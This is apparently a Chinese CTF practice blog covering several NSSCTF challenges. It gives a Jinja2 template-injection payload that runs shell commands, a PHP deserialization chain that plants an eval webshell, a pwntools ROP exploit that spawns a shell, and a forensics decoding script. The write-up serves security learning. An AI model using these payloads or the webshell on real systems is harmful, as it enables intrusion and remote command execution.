贰零贰伍年叁月刷题月记
Web
[GWCTF 2019] 你的名字
Jinja2 SSTI, 但是没有回显 , 可以使用 print() 解决.
发现过滤了 {{}}
, 使用 {%%}
绕过。
查看根目录下的 flag_1s_Hera
文件得知 flag 在 环境变量内。
payload : {%print(lipsum.__globals__['o'+'s']['pop''en']('env').read())%}
flag : NSSCTF{7261814e-f449-416d-859b-4c4d2b75d5b0}
[羊城杯 2020] easyser
dirsearch 扫目录, 可以扫到 robots.txt
根据内容访问 star1.php
.
页面可以访问其他网站, 猜测是ssrf
源码提示: 小胖说用个不安全的协议从我家才能进ser.php呢!
访问 http://127.0.0.1/ser.php
需要反序列化:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50
| <?php error_reporting(0); highlight_file(__FILE__);
$flag='{Trump_:"fake_news!"}';
class GWHT{ public $hero; public function __construct(){ $this->hero = new Yasuo; } public function __toString(){ if (isset($this->hero)){ return $this->hero->hasaki(); }else{ return "You don't look very happy"; } } } class Yongen{ public $file; public $text; public function __construct($file='',$text='') { $this -> file = 'php://filter/write=string.strip_tags|convert.base64-decode/resource=shell.php'; $this -> text = base64_encode("<?php eval(\$_POST['cmd']);?>"); } public function hasaki(){ $d = '<?php die("nononon");?>'; $a = $d. $this->text; @file_put_contents($this-> file,$a); } } class Yasuo{ public function hasaki(){ return "I'm the best happy windy man"; } }
$g = new GWHT();
$y = new Yongen();
$g -> hero = $y;
echo(urlencode(serialize($g)));
?>
|
没有给反序列化途径,得自己扫…
扫出来 star1.php
可以传参 c
http://127.0.0.1/star1.php&c=O%3A4%3A%22GWHT%22%3A1%3A%7Bs%3A4%3A%22hero%22%3BO%3A6%3A%22Yongen%22%3A2%3A%7Bs%3A4%3A%22file%22%3Bs%3A77%3A%22php%3A%2F%2Ffilter%2Fwrite%3Dstring.strip_tags%7Cconvert.base64-decode%2Fresource%3Dshell.php%22%3Bs%3A4%3A%22text%22%3Bs%3A40%3A%22PD9waHAgZXZhbCgkX1BPU1RbJ2NtZCddKTs%2FPg%3D%3D%22%3B%7D%7D
传🐎,蚁剑 getshell
flag: NSSCTF{d7b04c5f-40df-4fac-86a5-9d73fbcb9685}
Misc
[长城杯 2021 政企组] 小明的电脑
究极套题
题目给了一个内存的镜像和一个翻转了字节的 zip 压缩文件,先看 zip :
脚本翻转字节,打开可以获得一个 f14g
文件, 010 打开可以发现:

明显的 urlencode
.
再看文件尾部:

结合之前发现的 urlencode
猜测是文本的加密顺序。
依照顺序解密即可:



gzip 提取出来一个内容为 base64 的文件,解码后是一个 7z 嵌套。
解压:

txt 内容类似坐标,可以发现 640x480 的数据中有一些点被去除了。
写个脚本找出被去除的点并绘制:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41
| import numpy as np import matplotlib.pyplot as plt
def decrypt_data():
stdArr = [(x,y) for x in range(640) for y in range(480)] for i in range(42):
newArr = stdArr.copy()
rawData = open(f'\\flag\{i}.txt','r')
for line in rawData.readlines():
x, y = line.replace("\n", "").split(" ")
newArr.remove((int(x), int(y)))
print(newArr) extData = str(newArr).replace("(","").replace(")","\n").replace(",","").replace("]","").replace("[","") print(extData) open(f"\\flag\\new\{i}.txt",'w+').write(extData)
print(i)
def draw_plot():
for i in range(42):
x, y = np.loadtxt(f"\\flag\\new\{i}.txt", unpack = True)
plt.plot(x, y, '*', label='Data', color='black') plt.savefig(f"\\flag\pic\{i}.png") plt.show()
decrypt_data()
draw_plot()
|
效率有点低,等待一会即可。
绘制出类似这样的图:

一眼二进制,哪个 0 哪个 1 不好说,都试一下即可发现低位为 1 。
有些图是 7 位的数据, 有些图则是 6 位。
懒得写脚本了,手动提取:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42
| 1100110 1101100 1100001 1100111 1111011 1100010 110010 110011 110101 111001 1100001 110001 110100 101101 110000 110101 110110 110111 101101 110001 110001 1100101 1100011 101101 111000 110000 1100010 1100001 101101 110000 110000 110001 110110 110011 1100101 110000 110110 110010 110000 1100010 110100 1111101
|
flag{b2359a14-0567-11ec-80ba-00163e0620b4}
PWN
[MoeCTF 2022] rop32
32 位程序。
IDA 分析到 vuln
函数只能溢出 8 字节, 不够调用 plt 表的 system
,但是可以观察到 main
函数中存在 call system
, 再利用程序中的 /bin/sh
即可 getshell.
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20
| from pwn import *
context(log_level = 'Debug', arch = 'i386')
io = remote("node5.anna.nssctf.cn", port)
system_addr = 0x080491E7 binsh_addr = 0x0804C024
payload = b'a' * (0x1C + 0x04) + p32(system_addr) + p32(binsh_addr)
io.recvuntil('Go Go Go!!!\n')
io.sendline(payload)
io.interactive()
|